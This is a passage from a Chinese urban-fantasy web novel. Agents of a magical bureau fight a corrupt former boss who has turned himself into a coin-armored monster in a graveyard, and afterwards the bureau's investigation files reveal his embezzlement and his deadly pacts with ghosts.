地下白骨手不歇,两方对抗难分高下,溜金抱狞笑声戛然而止,那笑僵在他脸上,他咬牙切齿道:
“越洱,你非要跟我对着干!你这个贱人,今时今日你脱不了干系!”
溜金抱没了束缚,支着骨架爬起,他见那匕首早也卷进泥土,就起身暴走坟场,嘴里不休地骂骂咧咧:
“当年叫你签条子你不签,你们都不签!害老子现在还被扣在那烂学校!”
“老子招的你!否则你那烂学历以为进得来?”
溜乐意哭得昏厥,越洱化了一把小钳去刨她胸膛前的土,稍解压力,助她呼吸。
乐奇浑身虚软,厉鬼仅存的法力也耗尽,还死拽着鞭子,见土壤一边被钳子刨出,一边流泄进许多,男鬼和孩子被卡得分毫难动,而地下骨手还在狠命拖拽。
她声音凄厉,转头喊道:“溜金抱,你还是不是人!乐意就不是你孩子吗?你已经对不起她,怎么还能袖手旁观!”
溜金抱暴走的身姿不停,他似在寻找什么,也喊话回道:“臭娘们别来教训老子!带着你的小哑巴一起去死!”
8.她有多爱你
“嘭!”
头上狠狠挨砸,越洱眼前一黑,感到后颈处有温热液体流过。
“操!”边锋一脚后蹬,踢翻溜金抱。
那只厚重瓷碗摔在溜金抱大肚子上,又哐啷啷滚落一旁,竟是没碎。
方才溜金抱从一块坟头墓碑前,找来这个装祭品的碗,他倒出里头的枯叶,几步跨向土坑,狠狠砸上越洱脑壳。
此时他被蹬翻在地,内心却畅快淋漓,盯着越洱后脑勺流往颈间的笑个不休。
乐奇惊叫出声,越洱支撑着站住,等待黑晕消散。
边锋险些放手去打,可鞭子立马被拖下一截。
她道:“别管,省着力气。”
翻飞的钳子刨不过滑流的土,溜乐意口鼻即将埋住,越洱着急进入乾坤袋,翻找还有什么东西可用。
叮铃哐啷一阵刨,她注意到一个白油漆剥落的立式风扇。
耳边传来翻打叫骂声,越洱脑壳生疼,溜金抱本欲抄起瓷碗再摔打越洱一番,恰逢乐奇气力耗竭,她登时以肉身飞扑过去,砸倒前冲的溜金抱。
乐奇压在溜金抱身上,膝盖紧扣着不让起身,抢过厚重瓷碗,一下接一下,高举又砸下了。
瓷碗碎了,溜金抱头破血流,蜷缩着抱头哀嚎。
乐奇回头央求道:“求你们,别让乐意死在这儿……”
边风苦撑着点头,又打入一道灵力。
越洱敏捷拖出风扇,驱法力变大,再将立柱打入地下支稳当。
顷刻间,铁丝飞绕加固风扇边缘,绑出一道沟壑。
边风咬牙将鞭子卡进这沟壑中,一切就绪,鞭子与风扇组成一个巨大滑轮。
二人合力握住揽月鞭头,注进法力,并同时仰身向后倒去。
强劲力量与滑轮加成,生生拔出土漩涡中的男鬼和背篓。
一鬼一篓带土飞身出漩涡,摔地前一瞬,越洱急速出掌,胶把钳稳稳夹住半空中的背篓,也挂住男鬼。
终于,得救了。
“乐意!”
乐奇翻身跃起,踉跄跌撞着冲向背篓,抱出女儿,用手清理孩子口鼻的泥土。
边风收回揽月,去扶越洱;越洱也站稳收工,一把拉起瘫软半跪的男鬼。
人鬼合围在溜乐意身边,女孩儿小小的脸蛋紫黑,呼吸微弱。
乐奇哭得满脸血痕交错,煞是骇人。
越洱运力贴上孩子后背,只敢轻缓冲出她气道、口鼻里的残渣。
那小脸蛋这才稍稍恢复血色,溜乐意却仍是昏迷不醒。
越洱对二鬼道:“你们可以远距闪现对吧?快带孩子去法力部,那儿的中心医院可以处理,救护床和医生在门口接应你们。”
方才进入乾坤袋翻东西时,她同时尝试通讯法力部,信号时断时续,但好歹是艰难转述了现况。
段飞烨已经带着医疗组等候在位。
之所以不直接过来接,就是因为阴阳交割线片区,法力部无人能用闪现,越洱也无法传递坟场定位给本部。
但审判台前血尸一战,她发现鬼可以闪现,不受阴阳交割线限制。
乐奇咬着唇点头:“真不知怎么感谢你们,我……”
越洱一把将罗盘塞进男鬼手中,道:“不必多言,孩子拖不得,握住罗盘,它会带你们到法力部。”
“好!”男鬼去接乐奇手中的孩子,乐奇没放开。
飕飕凉风起,两鬼魂抱着昏厥的孩子闪走,不料,才一眨眼,他们又如磁带倒放般跌回原地。
“怎么会走不了?”乐奇不可置信望男鬼。
边风上前问:“是不是法力不够了?我借你们。”
“不对不对,有人圈了阵!”男鬼双眼大睁,机械般回头朝蜷缩侧躺在地的溜金抱望去。
所谓【圈阵】,就是一种以“对决”为条件的超强结界,一旦被圈进来,阵内之人必须斗出个你死我活,才能走出此阵。
有时是死一个人,有时是死一方人,但必死无疑,别无他法。
乐奇还没反应过味,男鬼纵身跃起——
“操!我杀了他!”
他飞身掐住溜金抱脖子,溜金抱抬手攀扯着男鬼收拢的十指,从喉咙中挤出两个字:
“天”、
“赐”。
乐奇本跌坐原地,这下立马放孩子躺下。
“别!他死了天赐也会死!”
她冲向前抱住男鬼腰肢,阻止道。
男鬼一愣,进退两难,手下略微松懈。
溜金抱趁机一把扯开鬼手,
“咳咳,难道我就那么轻易放过你们?”
他一口血痰啐向男鬼,落在男鬼胸前。
“合着叫我们乖乖挨你打,打死才罢休呗?”边风冷笑道。
溜金抱撑着地慢慢站起,他满头发丝已被血污凝固成一绺绺,肩膀的伤口敷满土和枯叶,像从棺中爬出来的尸鬼。
“哈!说得好,说得对,你们今天谁也别想活着走出去。”
他眉目乌黑,一双红眼睛深深陷进眼眶。
乐奇跪爬着,用膝盖“走”到溜金抱腿前。仰头哀求他:
“金抱,什么都给你,你再杀我一回,杀我。”
“我下辈子没什么好活的,求你,乐意她没时间了。”
“这孩子,她……她有多爱你,哪怕你看不上她,她天天在家盼你回来,什么好东西都留着给你……”
“你看看她,求你了,金抱,你看看乐意……”
乐奇哀求着,人一点一点干缩下去,头磕在坟场冰冷的湿土上,一块碎瓷片扎进她本就血污纵横的脸,叫人不忍心看。
溜金抱冷冷俯视着她,忽而提起膝盖,猛撞向乐奇脑袋,一下掀倒脚边的女人。
越洱旋起一脚飞踢,扫歪溜金抱的头:“你他妈别太过分!”
边锋默默上前,搀扶起面如死灰的乐奇,为她摘下嵌进皮肉的瓷片。
溜金抱拿手背揩去嘴角流出的血,
“越洱,你真是出息了,很好,有时间插手我家事,不如现在挑挑你要葬哪块坟!”
“该拿钱就拿钱滚,你这么牛逼还来求法力部?”越洱佯作有人来,道:
“溜金抱,给你自己留点余地,法力部的人马上到,赶尽杀绝,你以为就脱得了身吗?”
溜金抱哼出一声,又叹息般道:
“怎么办,放你们出去才叫收不了场、让你们活才叫脱不了身……”
他打开手指,露出一条尖利的厚瓷,越洱绷直脊背,悄悄于手心化出小版武器。
溜金抱顿了顿,好像看不懂手上的东西,下一秒,他猛然刺向自
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己,刺向吊在身前的畸形大肚。
“啊!”乐奇捂住脸,颤抖不已。
众人俱惊骇。
乐奇喊:“不要!不要!你连天赐也不要了么?”
溜金抱却不理,他猛一划拉,一股黑烟从他肚子蹿出,哗啦啦扯出流泻的肠子。
“又发什么疯?”边锋一甩手,鞭子飞出,横在眼前防御。
溜金抱伸手捞住肠子,口角涎血,低头怔愣一瞬,随即他抬眼,阴鸷鸷盯向眼前几人:
“谁也跑不掉,我会是唯一的幸存者。”
他哼笑一声,嘴角转瞬塌下。
越洱几番试图联系本部而不成,焦头烂额,谁来告诉她,入职第一天,连培训都没有,就整这么大。
现在好了,饭还没吃上,命先搭上了。
边锋道:“溜金抱,就算我们站着给你杀,你拿钱也没命花,法力部和警察都不会放过你。”
他试图协商,真是怕了这癫公,一套接一套。
“现在还来得及……”
溜金抱却打断他,目光转向乐奇,道:“我会怕?只要你们全死光,那些人只会认为是你乐奇灵力暴走,一波失控杀掉所有人。”
他颤抖着扔下手中瓷条,笑道:“说了我是幸存者,听不懂?”
“真是打得一手好算盘,”越洱迅速化大胶把钳,将乐奇推挡朝身后:“去孩子那边。”
乐奇犹豫,小声道:“别杀他,别杀天赐……对不起……”
这才返身跑回去,搂住地上小小身躯,将脸颊贴向孩子那细软的发顶,轻轻摩挲道:
“乐意,别怕,妈妈在……妈妈对不起……”
仿佛那孩子听得到一般,一行血泪滴落,顺着孩子白皙的额头,淌过眉间、鼻梁,拐向一侧,血痕像稚子脸上撕开的裂缝。
不知何时起,阴云密布,天边扯着响雷。
轰隆声拖长,好似时空滞缓,卡壳的磁带,闪雪花的老电视机……
血尸!
腥风血雨凄凄切切,淋漓而来。
“原来是你召来的血尸!”边锋道。
审判台前一战,法力部众人本猜测是乐奇化为厉鬼,故意引来血尸,好搅乱局面,趁乱掳走溜金抱。
原来从始至终都是溜金抱搞的鬼,难怪他当时那么安静,躲在劳山风和施彦河后边装鹌鹑。
血尸如攀附在一个圆柱外壁上,齐齐叠飞成阵。
血尸对鬼没什么伤害,对活人有,男鬼冲到乐奇母女身边,趴下去用身体覆住她们。
边越二人赶紧套上贴身结界,越洱反手一甩,一个半透明的椭圆结界,避开男鬼脊背,飞向乐奇怀中昏睡的溜乐意,接触的瞬间包裹住她。
她在母亲怀抱里,安静得像一个水晶做成的茧。
与此同时,那股诡异焦臭的黑烟俯冲直下,笼罩溜金抱全身,带着他缓缓悬浮。
血尸从四面八方合围攻来,男鬼见孩子暂时无恙,加入边越二人队列,三人背对背围拢,各据一方应战。
起初男鬼徒手撕扯血尸,忽的越洱递过一把钳,大小趁手。
“拿着。”
血尸疾风般挥动利爪刺来,越洱欻欻打钳,这边甩一钳夹住血尸左腰,那边飞一钳夹住其右半身,大力一撕,尸成两半,漫天血雾飞扬。
9.铜钱之躯
越洱透过满天血雾,看见黑烟逸散开。溜金抱悬空漂浮,闭眼龇牙扭动着,表情万分痛苦。
从他破肚开膛、瘦骨嶙峋的身子,皮肤大片大片剥离掉落,仅剩血肉。
而这可怖血肉之上,正长出一片一片色泽颇旧的圆片,覆满全身,好似给死鱼硬生生按上纽扣。
越洱仔细一瞧,才认出那一片一片,全是铜钱!
溜金抱睁眼,成了一个浑身长满铜钱的怪物。跳动的血肉从每一个铜钱中央小孔钻啊、冒啊,形成一个个鼓动的红白肉芽。
越洱看一眼就头皮发麻,浑身刺挠。
“啊啊啊!我最恨这种!”边锋崩溃喊道,他一鞭甩烂血尸,受不了地在手臂上狠抓一把。
却见溜金抱忽地胀大拉高,像被水泡发三四倍。
他如身披血肉铜钱铠甲,缓缓立直,半悬空中,右手空握等待着,黑烟聚集而去,在溜金抱手心化成一把凶煞的电锯。
周遭围攻的血尸忽而一顿,没有唇只有奇长的利齿,口中发出“桀桀桀”怪笑之声,万千齐发,回荡在圈阵内不绝于耳,听来毛骨悚然。
血尸一哄而上,彻底冲散三人背对背的站阵。
越洱掷出一钳,双手捂耳,钳飞身外,穿梭游走,一钳钳夹爆血尸头颅。
忽而阵中铜钱飞舞,越洱不合时宜冒出一个想法:这什么打法?叫我们分散注意力去捡钱?
溜金抱手中电锯飞转,疾速冲向越洱。
霎时,一切加速,铜钱好比飞旋的镖,歘歘割裂越洱衣裳,划烂皮肉。
一眨眼溜金抱已至眼前,
“铛”一声,电锯止于半空,一根根钢铁锁链栓住电锯,飞旋的电锯齿轮,摩擦着揽月钢铁锁链铸成的鞭身,呲呲冒火花。
刺耳割据声爆开,越洱忙召回钳,狠狠砸向溜金抱面门。
巨钳弹开,溜金抱睁眼,他眼睑上也覆了层铜钱,看向越洱时,面目像某种奇怪的金鳞鱼。
铜钱铠甲好好护住了溜金抱,一钳下去他分毫未损。
“哈,草包。”
溜金抱嗤笑一声,铜钱“鳞片”随着他脸颊起伏,电锯飞转割锁链的声响几乎盖过这声嘲讽。
咔嗒一下,溜金抱后方一个身影闪飞,揽月被电锯割断,正猛力栓拉的边锋被惯性甩飞,背朝后狠撞上一颗枝干粗壮的参天大树。
溜金抱回头瞬间,越洱一钳劈向他手腕和虎口,力道极大,未料电锯仍稳稳在握,
溜金抱像在看蚂蚁,他懒懒看着越洱,道:
“这种货色下回就别带出家门丢人现眼,哦,忘了,你们没下回。”
越洱未等他说完,飞钳夹住电锯锯片,电锯吱吱割过钳心,钳子铁屑飞扬。
边锋迅速飞身合流,只剩半截的鞭子捆住溜金抱上身。
才暂时制住溜金抱,数不清的血尸冲向二人,那头血尸撕咬着乐奇,争夺她怀里的孩子。
乐奇伏身覆在孩子身上,她人已是昏死,手还紧箍着孩子。
男鬼佝腰覆在乐奇背上,两鬼形成罩子,血尸一时难以撕咬孩子身上结界。
那把越洱借他的钳子自动飞起,不断咬夹血尸,摔开血尸。
边锋不得解开鞭,防御血尸围攻。
溜金抱手臂释放,强力去抽移电锯,与巨钳争夺,钳嘴虽紧紧夹住锯片,但还是被拖着移向溜金抱,近一些又近一些。
当是时,越洱手中三钳只剩一钳,血尸突然强化,尖啸着一一长出满身铜钱。
嘎嘎怪笑传来,越洱头上剧痛,一只血尸嘴巴大开,啃上她脑壳。
眼前是飞扑无尽来的血尸,一排排尖牙咬她脸,她一把钳应付不来,脸被啃得生疼,当即召钳:
“先过来帮我!”
溜金抱那边的巨钳松嘴,放开电锯,立刻杀出一条血路,自发在越洱身前旋转扫打,旋飞十几只血尸。
那些血尸此时仿佛蒙昧初开,一个个哀痛嚎叫,声音嘲哳难听。
越洱头上嗡嗡响,那只啃头正欢的血尸道:
“啧!你这头骨真硬,小爷我牙齿都要啃掉了。”
越洱头皮早被他尖牙扎破,血丝滑落眼珠,眼前猩红一片,暗自庆幸:至少隔着结界,伤口不会直接沾到血尸口水。
越洱红着眼冷笑道:“没啃过这么好的头吧?”
她双指并拢一扬,那血尸张开血盆大口竟似要笑,却听嘎嘣一声,血骨迸飞。
越洱手中钳不知何时绕到血尸脑后,一钳夹爆头。
溜金抱得了自由,见此,脸上怒意横生,抬锯追杀而来。
越洱一钳飞旋着杀血尸,一边全力躲闪飞逃,溜金抱竟是一时追她不到。
空转的电锯簌簌响。
边锋已是无声良久,血尸堆压在他身上,一条战损鞭无法再延长,他艰难对抗着离脸最近的那只血尸,锁链绞住血尸脖子,却因手臂皆被其它血尸咬定,锁链难再收紧。
越洱旋一钳作盾,迅速飞近,只见边锋小腿露半截在外,其余身子全被血尸掩埋。
飞钳簌簌,能爆头的爆头,能夹断胳膊就夹胳膊,主打一个稳准狠,解救边锋。
越洱两手空空,溜金抱紧追其后,只见她左蹿右出,忽上忽下,好似耍猴,不由咬牙切齿骂道:
“越洱,你这个难出其右的贱人!”
越洱跳来跳去,脚点树干,回嘴道:
“溜金抱,你这头旷古绝今的蠢驴。”
飞影闪掠,追逐越洱的血尸扑空,被她引得七绕八拐,一个接一个刹不住车撞成一堆。
边锋此时刚被解救出尸堆,就听坟场回响起空灵笑声:
“哈哈哈,他妈的今天不给加班费对不起老娘。”
抬头只见越洱飞影,难辨其人。
边锋一时想笑,笑又扯得脸伤疼,龇牙咧嘴拾起揽月残鞭,心疼不已。
他自言自语道:“可不止加班费,还有揽月工伤报销呢。”
漫天飞舞的铜钱倏然停滞,溜金抱悬飞于坟场中央,神情似是厌弃了此般拖延,他缓缓举起手中电锯:
“死到临头,爱笑就笑个够。”
电闪雷鸣,铜钱速速飞动串联,紫与黑的天幕下,阵内飘扬着铜钱串交织成的网。
越洱闪动的身影骤然停歇,整个人极速下坠,一串串铜钱捕捉住她飞掠的脚,栓紧她脚腕下拖。
穿梭的铜钱串网住几人,三把飞钳也被牢牢栓裹,束缚难脱。
溜金抱飞掠而至,越洱全身被铜钱串锁缚在地,铜钱蠕动撞击的“铃铃”声贯耳响彻。
透过铜
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钱网串的缝隙,她眼睁睁看着溜金抱那把凶煞的电锯飞转劈来,疾速的齿轮像淬血刀刃。
“啊啊啊啊!”
惨叫声响彻云霄,边锋挣扎中,看见溜金抱背影一顿,举高的电锯跌落,他双手收向脖颈。
坟场中游猎的铜钱串、铜钱串织成的网,倏忽断裂,水银泻地般跌砸而下。
本该束缚在地的三把钳,不知为何只剩两把——
第三把钳从溜金抱喉管中撕裂破出,他的脖子连着下半张脸,被撕裂两半,那钳子甩尾回身,竟一颗一颗拔掉了那张烂嘴里的牙。
边锋迅速勾住落地空转的电锯,甩远,半条残鞭捆住电锯把手,按在石碑上不得动弹。
他绕至越洱身旁,眼前景象煞为骇人,溜金抱半跪在地,双手掐着脖子试图拢紧裂开的伤口。
一分两半的下半张脸上,铜钱还堪堪挂住肉,像是破烂衣裳上将掉不掉的纽扣。
他目眦尽裂,不可置信地抬眼瞪向越洱。
越洱收钳,场中血尸皆随溜金抱动作疲软,它们身上的铜钱铠甲如金色的水般化开淌走。
男鬼以跪伏之身回头,望见一把巨钳斜竖在溜金抱后方,夹住他铜钱覆盖的脑袋;又一把巨钳夹住他凹陷的肩膀,那块被乐奇撕咬掉一块肉地方。
乐奇母女仍是昏迷,男鬼起身奔过一块块歪斜的墓碑。
“等等!乐奇家小女儿怎么办!”
“咔!咔!”
两声脆响,男鬼脚步停住,溜金抱头肩俱碎,铜钱之躯歪倒摔地,铜钱鳞片风化成金色沙粒,飘走了。
原地只剩一具开膛破肚、瘦骨嶙峋的扁头尸身。
“……”
边锋看向此方,对男鬼道:“溜天赐早就死了。”
“死……死了?你们确定?”
越洱也闭眼点头道:“法力部抓到了和溜金抱交易的一个恶鬼……”
男鬼闻言一怔,就听越洱接道:“不是你,溜金抱拿小女儿换了这次异化增强,从他划破肚子那瞬间,交换就完成了,溜天赐就是那时候……”
“可你们怎么知道……”
说着,他看见二人耳廓上闪射星点红光。
“通讯刚才就恢复了,你……到时好好陪乐奇说说话吧。”
三人无言,生死决出,圈阵解开。
天穹恢复平静,晚星高挂,一阵风吹卷着落叶刮过坟场,叶片滚滚拂过乐奇脊背。
*
男鬼带乐奇母女闪现法力部,段飞烨和医疗队等候多时,快速入院抢救。
法力部中心医院是省内唯一提供科学医疗和法力医疗的综合医院,乐奇母女被分别推朝两方。
拿到男鬼手中罗盘,段飞烨拜托等候在办公楼的边沁和劳山风,带取证组去接越洱、边锋。
取证组一脸晦气,有的穿着睡衣、趿着拖鞋就进来了,黑着脸无语套工作服,拿道具。
飞行器降落坟场边,树影晃动,越洱靠在树脚睡觉,乾坤袋里取出的药箱放在腿边,边锋正用棉签碘伏轻轻给她脸上伤口消毒。
“哥哥!越姐!”
边沁第一个跑进坟场,清脆声音惊醒越洱。
边锋回头看见妹妹跑来,第一句话就是:
“好饿!有没有带吃的?”
10.说你是旷古绝今的美男
飞行器载着几人回家,黑暗中,边锋三两口啃完面包,一转头,见越洱靠着窗发呆,面包只缺个口,耷拉手放在腿上。
“在想什么?吃点垫垫吧。”
越洱扯掉自己咬过一口的那块,就这包装袋把剩下那半面包递给边锋:
“你再吃点,我饿过了。”
边锋推回,摇头道:
“那也吃点,胃会疼的。”
静默片刻,他稍微凑近去看越洱的脸,问:
“在想什么?溜金抱死了,你心里也挺复杂吧?”
越洱没出声,过一会儿,她咬了嘴面包,含混说:
“你说,‘难出其右’是不是夸我来着?这对吗?”
边锋:“……”
他一指戳戳她脑门,道:
“那‘旷古绝今’是在夸他不?”
前排两个脑袋转回来,劳山风叨叨说:
“说什么在说什么?我也好想听!”
他一脸八卦,满眼精光,边锋靠回椅背,道:
“说你是旷古绝今的美男。”
“哈哈是么,也还好吧~”
劳山风羞涩挠头。
黑暗中,另一双眼睛熠熠生辉,边沁暗中“敷敷敷”轻笑,一只小粉拳挡在嘴前,这俩兄妹遮嘴笑动作都一样。
她一脸坏朝边锋使眼色,一会儿瞟瞟哥哥,一会儿瞟瞟越洱,兄妹俩无声斗嘴,一个假装挥拳,一个假作起哄。
越洱望着窗外,下方流淌着古镇未歇的光辉,招生办工作的画面走马灯般闪过眼前。
面试那天,溜金抱承诺招生结束后带他们团队去海边游玩,握手告别时交代她卸除美甲,免得家长不信任;
她出面试间看见走廊边座椅上等待的一排排面试者,有的二十出头,有的头发已花白,说自己“等着钱交女儿学费”;
才面试第二天,她等不及打电话确认结果,溜金抱虽说让她稍安勿躁,但声音里似乎欣赏这样上心积极的求职者;
她想到为了招生,不断打电话向家长推销赞美学校,有天从早到晚拨出800通电话,搞得家长也骂她烦,手机卡也被判定为“诈骗”封锁了;
下乡招生的一天,他们几个极限飞跑宣传,被本地人挡在门外,可他们还是很高兴,因为下午三点就跑完所有学校,可以慢悠悠吃个饭、逛个街;
散伙饭那天,溜金抱恩威并施,请他们吃了顿好的,他在饭桌上说“我对你们怎么样?我对你们多好……”,说“你们就帮帮我,这段时间我都记在心里”;
那顿饭吃得越洱消化不能,心中似有千钧重。
他显得又可怜,又强势,似要挟,似央求。
但那几个提前入职,花了他真金白银的,都闭嘴不说话,她们签了领钱的条子,这也补不上窟窿。
溜金抱手里把玩着车钥匙,车钥匙上挂一个手工编制的平安结,他扫视一圈,见众人无言、埋头苦吃,右手啪嗒啪嗒把平安结摔向左手心。
他把车钥匙使劲拍在桌上,震响激人,溜金抱冷哼道:
“你们这群白眼狼。”
起身推搡开椅子,走了。
*
这台飞行器后排只他们四人,月光透窗照进,一道温柔皎白的光铺洒在边沁右脸颊。
她忽而正色道:
“对了,你们知道吗?溜金抱欠了那个学校120万,挪用公款被发现的。”
越洱微惊:“这么多?怎么没人找我们调查?”
边沁道:“指挥组前辈说,越姐你离职时候的账已经算清了,那些发票不知溜金抱怎么补上的;去年他调职前,才发现又挪用了120万。”
“调职?”
她看一眼越洱,接着说:
“法力部有那个学校股份,还派过好几个修真者去当导师,只是你在那儿招生的时候不负责招修真学生这块儿。
所以其实法力部和学校有捆绑——去年有个法力部高层看上溜金抱,给他抛橄榄枝,安排他直接从学校调来法力部。”
越洱问:“是发现了他挪用公款,才没调成吗?”
边沁点点头:“不过校长对他也过于包庇了,只是暂时扣他在学校,这件事没声张也没报警,甚至没告知那个法力部高层;只叫溜金抱还钱就放他走。”
劳山风一拍膝盖:“难怪这么急着要钱!”
越洱道:“我曾经听他说有不少存款,查得到吗?”
“估计也败光了,他这两年迷上赌博,家里那栋房子都是抵出去的。”
“乐奇不知道吗?”
“不知道吧,房子单独在溜金抱名下。”
……
这天下午两点半,越洱头包纱布从医疗中心走进调查室,那晚从坟场回来,段飞烨坚持要他们全身检查,以免被血尸污染伤口而不自知。
别的都不要紧,就是越洱被溜金抱那只厚瓷碗砸成轻微脑震荡;在医院修养两天后,段飞烨批了假期。
回家之前,越洱和边锋得先去调查室接受问询、写材料。
虽说得好听,写工作汇报,但这两天特意把边越二人分开,想来也是对溜金抱的死亡还有疑虑,防止他俩“串供”。
三个小时后,越洱走出调查室,累趴了。
她展手大大伸了个懒腰,顿觉骨头缝都松懈一些,调查室审问她那人咬得很紧,反反复复追问细节,对她和对犯人没两样。
楼外,边家兄妹,劳山风,鸟人都在,四人站在一处聊天,见越洱出来,招手唤她一起。
边沁笑眯眯问:“很辛苦吧?想去哪儿吃饭?”
越洱忙说:“你们去吃,我太困了,今天先回家补觉。”
“啊?不吃点再睡吗?”边锋问。
“是呀,先吃饭……”鸟人也道。
越洱摇摇头:“今天我午饭吃撑了,现在眼皮子直打架,”她懒洋洋笑道:“真的,今天我就不加入了。”
听她这么说,几人也只好点头,鸟人忽然问:
“怎么回?坐地铁吗?”
“是呀,地铁快,飞不动了。”
鸟人抬手勾拳,展示衬衫下那坨肱二头肌,道:
“我比地铁飞得快!我背你回去。”
越洱翻白眼,拒绝:“算了,头疼不想吹风。”
“这怕什么,”他迅速化成鸟人形态,浑身黑羽亮闪闪,整个人一下高出一大截,道:“来吧,我背上羽毛超温暖,保管你一点风吹不到!”
看着他绿色眸子期待中闪耀,边沁一拐手肘,肘击边锋腰侧,边锋呼痛,莫名其妙看向妹妹。
只见方才还懒懒站着的越洱,这时呼一
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下虚虚掐上鸟人脖子摇晃:
“你也知道背上暖?那上次还抓我脖子,让我像个吊死鬼一样下来!”
鸟人被晃的脑浆都快匀了,几人玩笑一番,决定劳山风和边家兄妹一起吃饭,鸟人载越洱回家。
望着夕阳下高飞的黑色剪影离去,鸟人背上趴着的越洱也隐没羽翼中。
边锋手还挥着,嘴角略有笑意,远望发呆。
边沁恨得牙痒痒,使劲掐他胳膊一下。
“干嘛你!”
边锋揉揉胳膊,给自己呼呼吹气。
“你有没有点绅士风度?”边沁假笑。
“那咋啦?这种时候跟过去才比较有风度?”
劳山风听越洱说这句点点头,听边锋说那句又摸摸下巴点头赞同。
“嗯嗯嗯,是呀是呀。”
“没错没错,怎么跟过去……等会儿,这意思我也没绅士风度?”
边沁、边锋齐齐白他一眼,
“走了,吃饭去。”
*
越洱在家大睡到下午,脸上温热,湿哒哒的舌头轻舔她两下。
越洱悠悠转醒,一把薅过狗头,在它嘴筒子上轻咬两口,又原地啵啵亲两下。
“你这个小胖胖。”
胖嘟嘟的黑白色奶牛狗在床上打滚,尾巴摇晃,肚皮翻起,小狗牙轻轻去衔越洱手。
逗引主人和自己玩耍。
越洱呼噜两把,起身做饭,小狗也啪嗒跳下床,跟着越洱脚后跟又扑又咬,扯她袜子拖鞋。
热水在灶上烧着,越洱开手机,通讯软件上弹出几条消息。
她点开【异常事件处理司工作群】,两份调查文件未读。
浏览下来,基本补全了缺失环节:
一,溜金抱因赌博上瘾,存款耗空,房子抵押。后挪用学校公款120万,调职入法力部前事情败露,同乡出来的校长压下消息,要求溜金抱尽快补齐公款才放他走;
二,溜金抱找到男鬼,二人签订契约:男鬼需要假扮绑匪绑走溜乐意并索要赎金,溜金抱需在事后帮男鬼偷出法力部博物馆中的【保魂器】;不料交赎金当夜,男鬼反悔,在玉米地躲过警察伏击,带走溜乐意,据称他当时因为“想到孩子要回这种爹身边,不忍心”,一时冲动毁约;
三,溜金抱担心事情败露,尽力隐瞒男鬼存在;乐奇一家只以为是绑匪见他们敢报警,一气之下带走孩子,借来的赎金在乐奇父亲手中。不多久,溜金抱装作绑匪发信给乐奇父母,要求二老独自带钱来赎孙女,这回报警就真撕票;二老见乐奇精神状况糟糕,瞒着女儿驱车前往交易地点,途中意外车祸死亡,一大袋赎金因车子起火烧光。
四,乐奇晕倒住进医院,男鬼带想念妈妈的溜乐意来医院悄悄探望,但乐奇一直没醒;直到某天,病房无他人,乐奇醒来,见男鬼与女儿溜乐意站在床边。男鬼使用禁声符防止乐奇叫出声,通过孩子比手语、男鬼讲话补充、乐奇写字反问的方法,解释清楚了来龙去脉;
五,突然溜金抱外出归来,见此情形冲上前,欲贴【毁约符咒】解决男鬼,不料男鬼迅速带母女二人闪走;溜金抱方寸大乱,仍是不愿败露自己和鬼签契约之事,他几番寻找却找不到男鬼和乐奇、乐意;只得寻求警察和法力部,编造出妻子灵力暴走、掳走女儿的假象。
11.病号就别洗碗了
六,乐奇逃亡途中,遭遇溜金抱雇佣的血尸袭击,感染死亡,她死前最后一口血呕到女儿脚上,染透溜乐意的小布鞋;唯一庆幸的是男鬼杀掉血尸,血尸没来得及给溜金抱报告他们位置;
七,乐奇化为厉鬼,和男鬼一道潜入家中想要带走小女儿溜天赐,小女儿竟是处处不在,踪迹不寻;乐奇接收到通灵师召唤,猜测溜金抱求助异能人士,两鬼遂闪现阴阳交割线附近,故意留下那只染血的童鞋,引诱溜金抱和“同伙”前来,计划单独掳走溜金抱逼问小女儿下落;
八,乐奇生前死后,都不知父母死亡为溜金抱作祟,这两天法力部第一条调查消息上新闻后,照片公布,才有目击证人找来,说在车祸路段见过溜金抱几次,于是才查出溜金抱办公室中有个打字机,型号与乐奇父母身死时手中攥住的那封信件字体吻合;
九,法力部抓住的恶鬼是溜金抱第二次签契约交易的鬼,溜金抱这次抵上小女儿性命,想换取异化法力,但又因内心对溜天赐稍有感情,犹豫不决;那恶鬼见他犹豫,提议换个方式,只有当溜金抱下决心从肚中放出黑烟那一刻,契约才达成;在此之前小女儿暂托管在恶鬼手中。
十,法力部【交通司】追查恶鬼酗酒肇事逃逸案件时,意外抓获恶鬼,见他手提一笼子,笼中蜷曲着一个脸色惨白的小女孩;审讯之下,恶鬼坦白欲减罪;但契约已成,无可挽回,溜天赐死亡;交通司上报法力部;
十一,坟场圈阵中,通讯恢复,越洱、边锋得到消息,才敢击杀溜金抱。
*
越洱放下手机,揉揉眉心,不由想起那年烟火会,五彩烟花映照下,那两张天真无忧的脸庞。
卟嘟嘟,水涨扑出,小狗吠叫,越洱忙起身关掉燃气灶。
她打开冰箱,空空如也,小狗乖乖坐在她脚边仰望着她,看会掏出什么好吃的来。
掏出个寂寞,越洱抓抓头发:
“我记得明明还有半袋花生汤圆呀。”
小狗歪头。
“叮咚—— ”
门铃响起,越洱吓得心砰砰跳,她这房子一年也不会来人敲门,房东有事吗?
她悄声走近门边,透过猫眼,看见一张笑盈盈的黝黑脸庞。
边锋听见声响,故意微侧脸颊。露出一边的酒窝,嘴中道:
“叮咚叮咚,来了就开门呀。”
越洱扭开门把手,才开门,一阵香气扑鼻,边锋提起手中袋子晃晃。
“好吃的送上门来啦。”
他头微微偏过越洱身侧,张望屋内,似在找寻。
越洱让他进来,还好柜子里有新拖鞋。
“你自己来啊?妹妹呢?”
边锋声音愉悦,道:
“她和朋友出去玩啦。”
下一秒,一双嫩黄色荷包蛋女式拖鞋“啪嗒”放在他脚前。
边锋:“……”
越洱:“看样子有点小哦,直接进来吧。”
说着接过边锋手上袋子,边锋却像想到什么,忽然笑着说:
“就这一双新的?鸟人老师穿哪双?”
越洱道:“没穿哪双,那天太困了,他送我到楼下就回家了。”
边锋笑眯眯换上嫩黄拖鞋,撑得荷包蛋扁平变形,后半脚掌掉在鞋外,险险踮脚走来。
越洱在桌边摆餐盒,转眼见此,噗一下笑喷了。
边锋也哈哈大笑。
小狗冲来冲去,在二人间跑酷,像搞不清状况,又像想加入玩闹。
一个个餐盒摆出,皮蛋瘦肉粥、老妈蹄花、三七根炖乌鸡、蔬菜沙拉、白油抄手、卤牛腱子……
“……这位哥,你把我当什么?几顿的呀?”越洱问。
边锋蹲身和小狗玩着,正揉狗狗耳根。小狗呼噜噜眯眼很是舒服。
他抬头望一眼餐桌,道:
“一顿呀,有我在,没剩菜。”
二人坐在桌边吃饭,小狗扭头见碗里冻干狗粮,哀怨返回桌边扒拉。
不甘心地汪汪朝他俩叫。
